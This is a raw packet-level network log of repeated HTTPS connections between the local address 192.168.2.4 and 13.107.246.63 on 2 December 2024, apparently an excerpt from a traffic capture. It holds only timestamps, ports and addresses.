Dec 2, 2024 17:57:40.546475887 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.547363043 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:40.547382116 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.547802925 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:40.547808886 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.755198002 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.755767107 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:40.755856991 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.756225109 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:40.756231070 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.996788979 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.997068882 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.997150898 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:40.997252941 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:40.997267962 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:40.997306108 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:40.997312069 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.000150919 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.000190973 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.000251055 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.000379086 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.000390053 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.199400902 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.202975035 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.203047037 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.203160048 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.203183889 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.203201056 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.203207016 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.205889940 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.205925941 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.206002951 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.206152916 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.206166983 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.586668015 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.630678892 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.634792089 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.637691975 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.637702942 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.638215065 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.638217926 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.639178991 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.639211893 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:41.639630079 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:41.639637947 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.030038118 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.034368992 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.034418106 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.034418106 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.034476042 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.034509897 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.034527063 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.034537077 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.034542084 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.037828922 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.037884951 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.037951946 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.038109064 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.038126945 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.080241919 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.080303907 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.080353022 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.080463886 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.080480099 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.080492973 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.080499887 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.082799911 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.082833052 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.082894087 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.083075047 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.083090067 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.361273050 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.361921072 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.361957073 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.362293959 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.362299919 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.737287998 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.738030910 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.738053083 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.738502979 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.738507986 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.798485041 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.801492929 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.801559925 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.801599979 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.801616907 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.801630020 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.801635027 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.804619074 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.804651976 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:42.804734945 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.804891109 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:42.804903984 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.069917917 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.070400000 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.070420027 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.070872068 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.070875883 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.172563076 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.175698042 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.175761938 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.175791025 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.175806046 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.175816059 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.175820112 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.178648949 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.178668022 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.178729057 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.178848982 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.178862095 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.568557978 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.568588972 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.568639994 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.568660021 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.568686962 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.569674969 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.569690943 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.569724083 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.569729090 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.572535038 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.572577000 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.572647095 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.572824955 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.572837114 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.774648905 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.775168896 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.775228024 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.775618076 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.775624037 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.801709890 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.802045107 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.802062035 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:43.802423954 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:43.802428007 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.211071968 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.211143017 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.211261034 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.211689949 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.211711884 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.211723089 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.211729050 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.214581013 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.214617014 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.214879036 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.214879036 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.214909077 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.364845991 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.367980957 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.368057966 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.368065119 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.368107080 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.369370937 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.369389057 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.369402885 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.369409084 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.372189045 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.372236967 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.372324944 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.372649908 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.372665882 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.653799057 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.654306889 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.654329062 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.654874086 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.654879093 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.984850883 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.985264063 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.985296965 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:44.985755920 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:44.985761881 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.119854927 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.122906923 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.122961998 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.123047113 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.123064995 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.123075962 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.123080969 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.125946999 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.125987053 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.126049042 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.126283884 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.126298904 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.352626085 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.353144884 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.353173018 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.353595972 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.353601933 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.432881117 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.436053991 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.436126947 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.436175108 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.436192989 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.436202049 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.436208010 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.438954115 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.439001083 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.439093113 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.439260960 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.439275980 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.797416925 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.800228119 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.800326109 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.800364017 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.800384045 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.800394058 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.800400019 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.803303957 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.803349972 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:45.803426027 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.803612947 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:45.803625107 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.010476112 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.014029026 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.014056921 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.014493942 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.014501095 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.154134035 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.154663086 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.154700041 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.155148983 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.155155897 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.456631899 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.459547043 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.459594965 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.459602118 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.459650040 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.459697008 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.459713936 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.459724903 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.459732056 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.462445021 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.462486029 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.462558985 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.462690115 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.462704897 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.615577936 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.615648031 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.615704060 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.615873098 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.615890980 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.615909100 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.615914106 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.618782043 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.618818998 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.618911028 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.619076967 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.619088888 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.940556049 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.941296101 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.941324949 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:46.941890001 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:46.941896915 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.301176071 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.301820993 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.301852942 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.302202940 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.302207947 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.398715973 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.398766041 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.398842096 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.398844957 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.398889065 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.399117947 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.399138927 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.399152994 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.399158955 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.402055979 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.402089119 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.402170897 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.402352095 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.402364969 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.684763908 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.685333014 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.685372114 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.685662985 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.685667992 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.756424904 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.759378910 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.759587049 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.759587049 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.759587049 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.762031078 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.762070894 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:47.762156010 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.762295961 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:47.762307882 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.073640108 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.073676109 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.138641119 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.141814947 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.141863108 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.141896963 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.141931057 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.141989946 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.142008066 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.142025948 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.142030954 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.144736052 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.144781113 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.144855022 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.144988060 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.145003080 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.317305088 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.317853928 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.317876101 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.318500996 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.318506956 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.467636108 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.468197107 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.468244076 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.468652964 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.468661070 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.775639057 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.782176018 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.782269001 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.782376051 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.782391071 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.782406092 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.782412052 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.785691977 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.785737991 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.785815001 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.785937071 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.785957098 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.921334982 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.924763918 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.924849033 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.924880981 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.924897909 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.924909115 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.924913883 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.927889109 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.927911997 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:48.927966118 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.928518057 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:48.928529024 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.184655905 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.185219049 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.185254097 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.185676098 CET	49996	443	192.168.2.4	13.107.246.63
